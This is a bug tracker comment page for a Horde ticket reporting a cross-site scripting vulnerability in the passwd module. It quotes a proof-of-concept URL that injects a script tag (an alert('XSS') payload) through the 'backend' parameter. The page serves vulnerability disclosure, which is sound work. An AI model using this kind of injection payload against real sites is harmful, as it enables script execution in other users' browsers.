Tickets :: Comment on [#8398] Cross Site Scripting Vulnerability

* Your Email Address
* Spam protection	Enter the letters below: . ..__ .__ __..__. \| \|[__)[ __(__ [__] \|__\|\| [_./.__)\| \|
Comment	> A cross site scripting vulnerability exists. Proof of concept: > > > > http://hordeserver.com/horde/passwd/main.php?backend="><!--a75c305b1c0a6022--><script>alert('XSS')</script>&userid=stevejobs&return_to=&oldpassword=foo&newpassword0=foo&newpassword1=foo&submit=Change%20Password
Attachment
Watch this ticket